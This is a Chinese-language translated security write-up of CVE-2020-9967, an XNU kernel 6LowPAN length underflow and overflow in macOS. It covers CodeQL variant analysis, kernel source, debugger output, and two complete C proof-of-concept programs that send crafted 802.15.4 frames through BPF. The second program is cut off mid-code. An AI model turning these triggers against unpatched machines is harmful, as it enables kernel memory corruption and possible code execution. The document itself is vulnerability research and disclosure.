聚焦源代码安全,网罗国内外最新资讯!
安全研究员 Alex Plaskett 在2020年5月向苹果报告了影响MacOS Big Sur 的一个漏洞 (CVE-2020-9967)。苹果公司在12月5日宣布该漏洞已在各平台公开后,Plaskett 于昨天发布了该漏洞的详细分析文章,如下:
受到 Kevin Backhouse 发现 XNU 远程漏洞的鼓舞,我决定花点时间查看下 CodeQL 并展开一些变体分析。结果从 macOS 10.15.4 的 6LowPAN 代码中发现了从本地 root 提权至内核权限的一个漏洞(不过苹果记录为远程漏洞)。
漏洞发现
在 XNU 中,入站和出站网络数据包存储在一个内存管理单元 (mbuf) 中。该数据由 macOS 操作系统的网络栈代码读取或写入mbuf。
我原先的想法是,我可以定义一个简单的污点跟踪 (taint tracking) 查询,找到不受信任的网络数据来源(来源),这些来源最终将污染内存复制操作的大小参数(sink)。最初,我修改了查询,查找源 m_mtod 和 sink 即 biltin_memcpy_chk,但徒劳无功。然而,在 XNU 内部,bcopy 的使用非常多见,因此最终成为:builtin_memmove_chk,如是查询修改如下:
import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysisclass Config extends TaintTracking::Configuration {Config() { this = "sixlowpan_flow" }override predicate isSource(DataFlow::Node source) {source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"}override predicate isSink(DataFlow::Node sink) {exists (FunctionCall call| call.getArgument(2) = sink.asExpr() andcall.getTarget().getName() = "__builtin___memmove_chk" )}
}from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."
运行这个查询后,我得到了大概15个结果,本文所述漏洞为其一。
查看结果时,我发现该流值得手动调查一番:
1 call to m_mtod if_6lowpan.c:623:2
2 len if_6lowpan.c:663:41
3 ref arg & ... [payload_len] if_6lowpan.c:663:46
4 & ... [payload_len] if_6lowpan.c:666:19
5 ieee02154hdr [payload_len] sixxlowpan.c:882:38
6 ieee02154hdr [payload_len] sixxlowpan.c:886:32
7 ieee02154hdr [payload_len] sixxlowpan.c:819:43
8 ieee02154hdr [payload_len] sixxlowpan.c:855:7
9 payload_len sixxlowpan.c:855:21
10 ... - ... sixxlowpan.c:855:7
这证明了通过代码库的定制化 CodeQL 查询找到常见漏洞模式的强大之处。在详述漏洞之前,我们先来了解下 6LowPAN 的背景知识。
6LowPAN
苹果公司在 macOS Catalina 10.15 中,默默地在 XNU 内核中推出对 6LowPAN 和 IEEE 802 的支持。任何引入 XNU 搜查调查中的重大变化都可能是产生新漏洞的来源。6LowPAN 的全称是 “低功耗无线个人区域网的 IPv6 (IPv6 over Low-Power Wireless Personal Area Networks)”。如名称所示,它是一种网络技术,可允许在小型链接层帧如 IEEE 802.15.4 中有效执行IPv6 数据包。
该协议的相关 RFC 是 RFC4944、RFC6282 和 RFC6775。
IEEE 802.15.4 是一种定义低速率无线个人区域网 (LR-WPAN) 操作并指定 LR-WPAN 的物理层和媒体访问层。6LowPAN 通过提供未在 802.15.4 中定义的上层来扩展该标准。流行的 IoT 协议 Thread 使用了 6LowPAN,而苹果公司于2018年偶然加入 Thread 工作组中……
在 XNU 内核来源的上下文中, frame802154.c 中包含对 802.15.4 帧和解析的实现。if_6lowpan.c 包含和 6LowPAN 网络接口以及 6LowPAN 压缩和解压缩 sixlowpan.c 相关的代码。其中大部分源自苹果公司修改过的 Contiki OS 和封装代码。
目前上述内容并未有公开记录,而唯一公开提到的是关于 Thread HomePod mini 的内容。
IEEE 802.15.4 帧的结构
Layer 2(栈中的 MAC 层)的定义见 “通用 MAC 帧格式“ 第7.2节的 IEEE Std 802.15.4-2015 内容:
该帧的控制字段如下:
IPv6 数据包必须携带于数据帧上。当我们在后续讨论 XNU 代码库中的解析时,这些详情很重要。解析帧判断标头后,payload 部分就会得到处理。
LoWPAN Payload
由于完整的 IPv6 数据包不适合IEEE 802.15.4 帧,因此必须提供适配层以符合 IPv6 的最低 MTU 要求。该标准还定义了标头压缩的使用,因为它预计多数应用程序会使用基于 IEEE 802.15.4 的 IP。这样,LoWPAN payload(如 IPv6 数据包)遵循如上所述的封装标头。值得注意的是,IPv6 标头的长度也为40个八位位组。
初始标准定义了LOWPAN_HC1 压缩的 IPv6 数据包。这意味着 6LowPAN payload 在被收到时会被压缩。这一点对于理解漏洞也很重要。
数据链路层调度
问题在于,我们如何获取苹果设备的 6LowPAN 帧以及它们会被自动处理吗?深挖代码可了解到调度这类帧的数据链路层。
刚开始,我们可以发送将由解复用函数处理的以太网数据包:
int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,protocol_family_t *protocol_family)
{struct ether_header *eh = (struct ether_header *)(void *)frame_header;u_short ether_type = eh->ether_type;u_int16_t type;u_int8_t *data;u_int32_t i = 0;struct ether_desc_blk_str *desc_blk =(struct ether_desc_blk_str *)ifp->if_family_cookie;u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;struct en_desc *ed = desc_blk ? desc_blk->block_ptr : NULL;u_int32_t extProto1 = 0;u_int32_t extProto2 = 0;if (eh->ether_dhost[0] & 1) {/* Check for broadcast */if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {m->m_flags |= M_BCAST;} else {m->m_flags |= M_MCAST;}}if (m->m_flags & M_HASFCS) {/** If the M_HASFCS is set by the driver we want to make sure* that we strip off the trailing FCS data before handing it* up the stack.*/m_adj(m, -ETHER_CRC_LEN);m->m_flags &= ~M_HASFCS;}if ((eh->ether_dhost[0] & 1) == 0) {/** When the driver is put into promiscuous mode we may receive* unicast frames that are not intended for our interfaces.* They are marked here as being promiscuous so the caller may* dispose of them after passing the packets to any interface* filters.*/if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {m->m_flags |= M_PROMISC;}}/* check for IEEE 802.15.4 */if (ether_type == htons(ETHERTYPE_IEEE802154)) {*protocol_family = PF_802154;return 0;}
如果以太网标头内的 ether_type 是 ETHERTYPE_IEEE802154,则我们将 protocol_family 设置为 PF_802154。
目前,在默认配置中,除非配置了 6lowpan 接口,否则该 protocol_family 将无法被处理, 从而导致以下代码注册了一个函数 sixlowpan_input,而当处理 802.15.4 帧时,就会调用该函数。
/** Function: sixlowpan_attach_protocol* Purpose:* Attach a DLIL protocol to the interface* The ethernet demux actually special cases 802.15.4.* The demux here isn't used. The demux will return PF_802154 for the* appropriate packets and our sixlowpan_input function will be called.*/
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{int error;struct ifnet_attach_proto_param reg;bzero(®, sizeof(reg));reg.input = sixlowpan_input;reg.detached = sixlowpan_detached;error = ifnet_attach_protocol(ifp, PF_802154, ®);if (error) {printf("%s(%s%d) ifnet_attach_protocol failed, %d\n",__func__, ifnet_name(ifp), ifnet_unit(ifp), error);}return error;
}
漏洞详情
有了背景信息后,我将说明所发现的漏洞。调用函数 sixlowpan_input,将 802.15.4数据帧解封如下:
/** 6lowpan input routine.* Decapsulate the 802.15.4 Data Frame* Header decompression on the payload* Pass the mbuf to the IPV6 protocol stack using proto_input()*/
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,mbuf_t m, __unused char *frame_header)
{frame802154_t ieee02154hdr;u_int8_t *payload = NULL;if6lpan_ref ifl = NULL;bpf_packet_func bpf_func;mbuf_t mc, m_temp;int off, err = 0;u_int16_t len;/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);if (mc == NULL) {err = -1;goto err_out;}memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));len = ntohs(len); // This is the size read from the frame on the wire. m_adj(m, sizeof(u_int16_t));/* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {if (m_temp->m_len > 0) {m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));off += m_temp->m_len;}}p = p_6lowpan_ifnet;mc->m_pkthdr.rcvif = p;sixlowpan_lock();ifl = ifnet_get_if6lpan_retained(p);if (ifl == NULL) {sixlowpan_unlock();err = -1;goto err_out;}if (if6lpan_flags_ready(ifl) == 0) {if6lpan_release(ifl);sixlowpan_unlock();err = -1;goto err_out;}bpf_func = ifl->if6lpan_bpf_input;sixlowpan_unlock();if6lpan_release(ifl);if (bpf_func) {bpf_func(p, mc);}/* Parse the 802.15.4 frame header */bzero(&ieee02154hdr, sizeof(ieee02154hdr));frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);/* XXX Add check for your link layer address being dest */sixxlowpan_input(&ieee02154hdr, payload);
首先,m_getcl 为导入的 802.15.4 帧和未压缩的 payload 分配一个群集 mbuf。群集 mbuf 是指按照 MCLBYTES 单位计算的2048个字节。超过该大小的数据将被复制到链接到一起的多个 mbuf 中。
可以看到,len 是从导入的 mbuf m 中读取的,且完全受攻击者控制。之后,通过 m_adj 从mbuf 链的开头减去2个字节。被压缩的 802.15.4 payload 随后和受攻击者控制的 len 值一起被传递至 frame802154_parse。
不过这也存在一些明显的问题,比如,假如 mbuf 中的数据小于 mc 中帧的长度会怎么样?
/*----------------------------------------------------------------------------*/
/*** \brief Parses an input frame. Scans the input frame to find each* p, and stores the information of each p in a* frame802154_t structure.** \param data The input data from the radio chip.* \param len The size of the input data* \param pf The frame802154_t struct to store the parsed frame information.*/
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{uint8_t *p;frame802154_fcf_t fcf;int c;
#if LLSEC802154_USES_EXPLICIT_KEYSuint8_t key_id_mode;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */if (len < 3) {return 0;}p = data;/* decode the FCF */fcf.frame_type = p[0] & 7;fcf.security_enabled = (p[0] >> 3) & 1;fcf.frame_pending = (p[0] >> 4) & 1;fcf.ack_required = (p[0] >> 5) & 1;fcf.panid_compression = (p[0] >> 6) & 1;fcf.dest_addr_mode = (p[1] >> 2) & 3;fcf.frame_version = (p[1] >> 4) & 3;fcf.src_addr_mode = (p[1] >> 6) & 3;/* copy fcf and seqNum */memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));pf->seq = p[2];p += 3; /* Skip first three bytes *//* Destination address, if any */if (fcf.dest_addr_mode) {/* Destination PAN */pf->dest_pid = p[0] + (p[1] << 8);p += 2;/* Destination address *//* l = addr_len(fcf.dest_addr_mode); *//* for(c = 0; c < l; c++) { *//* pf->dest_addr.u8[c] = p[l - c - 1]; *//* } *//* p += l; */if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);pf->dest_addr[0] = p[1];pf->dest_addr[1] = p[0];p += 2;} else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {for (c = 0; c < 8; c++) {pf->dest_addr[c] = p[7 - c];}p += 8;}} else {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);pf->dest_pid = 0;}/* Source address, if any */if (fcf.src_addr_mode) {/* Source PAN */if (!fcf.panid_compression) {pf->src_pid = p[0] + (p[1] << 8);p += 2;} else {pf->src_pid = pf->dest_pid;}/* Source address *//* l = addr_len(fcf.src_addr_mode); *//* for(c = 0; c < l; c++) { *//* pf->src_addr.u8[c] = p[l - c - 1]; *//* } *//* p += l; */if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);pf->src_addr[0] = p[1];pf->src_addr[1] = p[0];p += 2;} else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {for (c = 0; c < 8; c++) {pf->src_addr[c] = p[7 - c];}p += 8;}} else {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);pf->src_pid = 0;}#if LLSEC802154_SECURITY_LEVELif (fcf.security_enabled) {pf->aux_hdr.security_control.security_level = p[0] & 7;
#if LLSEC802154_USES_EXPLICIT_KEYSpf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */p += 1;memcpy(pf->aux_hdr.frame_counter.u8, p, 4);p += 4;#if LLSEC802154_USES_EXPLICIT_KEYSkey_id_mode = pf->aux_hdr.security_control.key_id_mode;if (key_id_mode) {c = (key_id_mode - 1) * 4;memcpy(pf->aux_hdr.key_source.u8, p, c);p += c;pf->aux_hdr.key_index = p[0];p += 1;}
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */}
#endif /* LLSEC802154_SECURITY_LEVEL *//* header length */c = p - data;/* payload length */pf->payload_len = (len - c);/* payload */*payload = p;/* return header length if successful */return c > len ? 0 : c;
}/** \brief Parameters used by the frame802154_create() function. These* parameters are used in the 802.15.4 frame header. See the 802.15.4* specification for details.*/
struct frame802154 {/* The fields dest_addr and src_addr must come first to ensure they are aligned to the* CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use* the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */uint8_t dest_addr[8]; /**< Destination address */uint8_t src_addr[8]; /**< Source address */frame802154_fcf_t fcf; /**< Frame control field */uint8_t seq; /**< Sequence number */uint16_t dest_pid; /**< Destination PAN ID */uint16_t src_pid; /**< Source PAN ID */frame802154_aux_hdr_t aux_hdr; /**< Aux security header *///uint8_t *payload; /**< Pointer to 802.15.4 payload */int payload_len; /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;
关于该函数和调用者,如下是一些相关情况:
如 len <3,则函数将返回0,且不会初始化payload 指针(即将成为 NULL 指针)。
Frame802154_parse 的返回值并未被检查,因此可能会造成标头长度>payload 的情况出现。
由于我们能够控制将 len 的值控制在 0 到0xffff 之间,因此我们或者可以使 pf->payload_len 为负数(至 –header_len),小于预期的大小或者大于 mc 中输入数据本身的大小。
那么在这种场景下会发生什么情况?
errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{errno_t error = 0;error = sixxlowpan_uncompress(ieee02154hdr, payload);if (error != 0) {goto done;}/** TO DO: fragmentation*/done:return error;
}
该 payload 之后被解压缩:
errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{long hdroffset;size_t hdrlen;u_int8_t hdrbuf[128];errno_t error;bzero(hdrbuf, sizeof(hdrbuf));hdrlen = sizeof(hdrbuf);error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,0, &hdroffset, &hdrlen, hdrbuf);if (error != 0) {return error;}if (hdroffset < 0) {/** hdroffset negative means that we have to remove* hdrlen of extra stuff*/memmove(&payload[0],&payload[hdrlen],ieee02154hdr->payload_len - hdrlen);ieee02154hdr->payload_len -= hdrlen;} else {/** hdroffset is the size of the compressed header* -- i.e. when the untouched data starts** hdrlen is the size of the decompressed header* that takes the place of compressed header of size hdroffset*/memmove(payload + hdrlen,payload + hdroffset,ieee02154hdr->payload_len - hdroffset);memcpy(payload, hdrbuf, hdrlen);ieee02154hdr->payload_len += hdrlen - hdroffset;}return 0;
}
查看解压缩函数:
/*--------------------------------------------------------------------*/
/*** \brief Uncompress HC1 (and HC_UDP) headers and put them in* sicslowpan_buf** This function is called by the input function when the dispatch is* HC1.* We %process the packet in the packetbuf buffer, uncompress the header* fields, and copy the result in the sicslowpan buffer.* At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len* are set to the appropriate values** \param ip_len Equal to 0 if the packet is not a fragment (IP length* is then inferred from the L2 length), non 0 if the packet is a 1st* fragment.*/
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {*hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;*hdrlen = SICSLOWPAN_IPV6_HDR_LEN;return 0;}*hdroffset = 0;/* version, traffic class, flow label */ip6->ip6_flow = 0;ip6->ip6_vfc = IPV6_VERSION;/* src and dest ip addresses */uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);uip_ds6_set_addr_iid(&ip6->ip6_src,(uip_lladdr_t *)frame->src_addr);uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);uip_ds6_set_addr_iid(&ip6->ip6_dst,(uip_lladdr_t *)frame->dest_addr);*hdrlen = UIP_IPH_LEN;/* Next header field */switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {case SICSLOWPAN_HC1_NH_ICMP6:ip6->ip6_nxt = IPPROTO_ICMPV6;ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;break;case SICSLOWPAN_HC1_NH_TCP:ip6->ip6_nxt = IPPROTO_TCP;ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;break;case SICSLOWPAN_HC1_NH_UDP:ip6->ip6_nxt = IPPROTO_UDP;if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;/* UDP header is compressed with HC_UDP */if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=SICSLOWPAN_HC_UDP_ALL_C) {printf("sicslowpan (uncompress_hdr), packet not supported");return EINVAL;}/* IP TTL */ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];/* UDP ports, len, checksum */udp->uh_sport =htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));udp->uh_dport =htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);*hdrlen += UIP_UDPH_LEN;*hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;} else {ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;}break;default:/* this shouldn't happen, drop */return EINVAL;}/* IP length field. */if (ip_len == 0) {size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr);/* This is not a fragmented packet */SET16(&ip6->ip6_plen, len);} else {/* This is a 1st fragment */SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);}/* length field in UDP header */if (ip6->ip6_nxt == IPPROTO_UDP) {struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);}return 0;
}
我们通过该函数可观察到如下情况:
1、 它的预期是 mbuf 中总会至少出现40个字节的 IPv6 标头 *hdrlen。
2、 它并未期望 payload 的大小小于标头。
3、 ip_len 总为0。
如果我们忽略了所有可能的界外读取,则可以将该问题用于如下的界外写入中:
len 中的下溢可导致一个庞大的值传递到 memmove(wild write)
因此,如果我们将所接受的帧的长度设置为 0x4,则会导致在 frame802154_parse 中计算如下值:
c 标头长度 = 3 frame->payload_len =1
之后,我们可以看到,通过设置 SICSLOWPAN_HC1_NH_UDP,我们会在 uncompress_hdr_hcl 中发现如下值:
*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40sizeof(struct ip6_hdr) = 40
因此,当我们返回 sixxlowpan_uncompress 函数时:
/** hdroffset is the size of the compressed header* -- i.e. when the untouched data starts** hdrlen is the size of the decompressed header* that takes the place of compressed header of size hdroffset*/memmove(payload + hdrlen,payload + hdroffset,ieee02154hdr->payload_len - hdroffset);memcpy(payload, hdrbuf, hdrlen);
在 payload +40 处写入数据(在群集 mc mbuf 中,数据由源 payload 缓冲区中的攻击者控制,长度为 ieee02154hdr->payload_len - 3 = -2。
PoC 1 —— 下溢
在 PoC 1 代码中,我们引发 1-3=-2以触发一个写入,使问题更加容易显现。
/***Apple XNU 6LowPAN POC
Catalina 10.15.4POC 1: Wild memmove trigger with an underflow. Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0***/#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};struct frame_t {struct ether_header header;unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];ssize_t len;ssize_t payload_len;
};// Open bpf device
int open_bpf_device()
{char buf[11] = {};int bpf = 0;for(int i = 0; i < 99; i++){sprintf(buf,"/dev/bpf%i",i);bpf = open(buf,O_RDWR);if( bpf != -1 ) {printf("Opened device /dev/bpf%i\n", i);break; }}if(bpf == -1) {printf("Cannot open any /dev/bpf* device, exiting\n");exit(1); }return bpf;
}// Associate device
void assoc_dev(int bpf, char* interface)
{struct ifreq bound_if;strcpy(bound_if.ifr_name, interface);if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {printf("Cannot bind bpf device to physical device %s, exiting\n", interface);exit(1);}printf("Bound bpf device to physical device %s\n", interface);
}// Write trigger frame
void write_single_frame(int bpf)
{ssize_t data_length = 32;struct frame_t frame;memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);// 802.15.4 frame type. frame.header.ether_type = 0x908;frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);frame.payload[0] = 0;frame.payload[1] = 4;// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)// These are used for the FCF (no flags set)frame.payload[2] = 0;frame.payload[3] = 0;frame.payload[4] = 0;// As none FCF are set p+=3 bytes. // header length// c = p - data;// c = 3// payload length// pf->payload_len = (4 - 3);// pf->payload_len = 1// This is the start of our payload passed to sixxlowpan_uncompressframe.payload[5] = 0;frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) {frame.payload[j] = 0x41;} ssize_t bytes_sent;bytes_sent = write(bpf, &frame, frame.len);if(bytes_sent > 0) {printf("Bytes sent: %ld\n", bytes_sent);} else {perror("Error sending frame");exit(1);}
}int main(int argc, char *argv[])
{char* interface = "en0";int bpf;bpf = open_bpf_device();assoc_dev(bpf, interface);write_single_frame(bpf);return 0;
}
我们可以通过如下的调试输出进行证实:
(lldb) disas
kernel`sixxlowpan_uncompress:0xffffff8003ffa0b0 <+0>: push rbp0xffffff8003ffa0b1 <+1>: mov rbp, rsp0xffffff8003ffa0b4 <+4>: push r150xffffff8003ffa0b6 <+6>: push r140xffffff8003ffa0b8 <+8>: push r130xffffff8003ffa0ba <+10>: push r120xffffff8003ffa0bc <+12>: push rbx0xffffff8003ffa0bd <+13>: sub rsp, 0x980xffffff8003ffa0c4 <+20>: mov r15, rsi0xffffff8003ffa0c7 <+23>: mov r14, rdi0xffffff8003ffa0ca <+26>: lea rax, [rip + 0x4a1f9f] ; __stack_chk_guard0xffffff8003ffa0d1 <+33>: mov rax, qword ptr [rax]0xffffff8003ffa0d4 <+36>: mov qword ptr [rbp - 0x30], rax0xffffff8003ffa0d8 <+40>: int3 0xffffff8003ffa0d9 <+41>: mov dword ptr [rbp - 0xc0], 0x00xffffff8003ffa0e3 <+51>: mov qword ptr [rbp - 0x38], 0x00xffffff8003ffa0eb <+59>: mov qword ptr [rbp - 0x40], 0x00xffffff8003ffa0f3 <+67>: mov qword ptr [rbp - 0x48], 0x00xffffff8003ffa0fb <+75>: mov qword ptr [rbp - 0x50], 0x00xffffff8003ffa103 <+83>: mov qword ptr [rbp - 0x58], 0x00xffffff8003ffa10b <+91>: mov qword ptr [rbp - 0x60], 0x00xffffff8003ffa113 <+99>: mov qword ptr [rbp - 0x68], 0x00xffffff8003ffa11b <+107>: mov qword ptr [rbp - 0x70], 0x00xffffff8003ffa123 <+115>: mov qword ptr [rbp - 0x78], 0x00xffffff8003ffa12b <+123>: mov qword ptr [rbp - 0x80], 0x00xffffff8003ffa133 <+131>: mov qword ptr [rbp - 0x88], 0x00xffffff8003ffa13e <+142>: mov qword ptr [rbp - 0x90], 0x00xffffff8003ffa149 <+153>: mov qword ptr [rbp - 0x98], 0x00xffffff8003ffa154 <+164>: mov qword ptr [rbp - 0xa0], 0x00xffffff8003ffa15f <+175>: mov qword ptr [rbp - 0xa8], 0x00xffffff8003ffa16a <+186>: mov qword ptr [rbp - 0xb0], 0x00xffffff8003ffa175 <+197>: lea rbx, [rbp - 0xb0]0xffffff8003ffa17c <+204>: mov esi, 0x800xffffff8003ffa181 <+209>: mov rdi, rbx0xffffff8003ffa184 <+212>: call 0xffffff80039980f0 ; bzero0xffffff8003ffa189 <+217>: mov qword ptr [rbp - 0xb8], 0x800xffffff8003ffa194 <+228>: lea rcx, [rbp - 0xc0]0xffffff8003ffa19b <+235>: lea r8, [rbp - 0xb8]0xffffff8003ffa1a2 <+242>: mov rdi, r140xffffff8003ffa1a5 <+245>: mov rsi, r150xffffff8003ffa1a8 <+248>: xor edx, edx0xffffff8003ffa1aa <+250>: mov r9, rbx0xffffff8003ffa1ad <+253>: call 0xffffff8003ff9d70 ; uncompress_hdr_hc1 at sixxlowpan.c:6790xffffff8003ffa1b2 <+258>: mov ebx, eax0xffffff8003ffa1b4 <+260>: test eax, eax0xffffff8003ffa1b6 <+262>: jne 0xffffff8003ffa210 ; <+352> at sixxlowpan.c0xffffff8003ffa1b8 <+264>: mov r13, qword ptr [rbp - 0xc0]0xffffff8003ffa1bf <+271>: mov r12, qword ptr [rbp - 0xb8]0xffffff8003ffa1c6 <+278>: lea rsi, [r15 + r12]0xffffff8003ffa1ca <+282>: test r13, r13 0xffffff8003ffa1cd <+285>: js 0xffffff8003ffa1fa ; <+330> at sixxlowpan.c:841:30xffffff8003ffa1cf <+287>: lea rdi, [r15 + r13]0xffffff8003ffa1d3 <+291>: movsxd rdx, dword ptr [r14 + 0x34]0xffffff8003ffa1d7 <+295>: int3 0xffffff8003ffa1d8 <+296>: sub edx, ebp
-> 0xffffff8003ffa1da <+298>: call 0xffffff8003998070 ; bcopy(lldb) register read
General Purpose Registers:rax = 0x0000000000000000rbx = 0x0000000000000000rcx = 0xffffff80669e3d28rdx = 0xffffffffffffffferdi = 0xffffff80602e1806rsi = 0xffffff80602e182brbp = 0xffffff80669e3cf0rsp = 0xffffff80669e3c30r8 = 0xffffff80669e3c38r9 = 0xffffff80669e3c40r10 = 0x0000000000000000r11 = 0x0000000000000003r12 = 0x0000000000000028r13 = 0x0000000000000003r14 = 0xffffff80669e3d28r15 = 0xffffff80602e1803rip = 0xffffff8003ffa1da kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853rflags = 0x0000000000000393cs = 0x0000000000000008fs = 0x00000000ffff0000gs = 0x00000000669e0000
PoC 2 —— 上溢
然而,我们可以通过庞大的 payload 大小来触发更加受控制的内存损害,从而可能造成代码执行。
例如,使用如下参数:
len = 0xffffpf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc
会导致 memmove 在payload + 40 处执行写入,数据源于攻击者,大小为 0xfffc-40 = (0xfff9) 65529。
PoC 2 演示如下:
/***Apple XNU 6LowPAN POC
Catalina 10.15.4POC 2: Write 0xffd4 bytes - overflowRun this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0***/#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};struct frame_t {struct ether_header header;unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];ssize_t len;ssize_t payload_len;
};// Open bpf device
int open_bpf_device()
{char buf[11] = {};int bpf = 0;for(int i = 0; i < 99; i++){sprintf(buf,"/dev/bpf%i",i);bpf = open(buf,O_RDWR);if( bpf != -1 ) {printf("Opened device /dev/bpf%i\n", i);break; }}if(bpf == -1) {printf("Cannot open any /dev/bpf* device, exiting\n");exit(1); }return bpf;
}// Associate device
void assoc_dev(int bpf, char* interface)
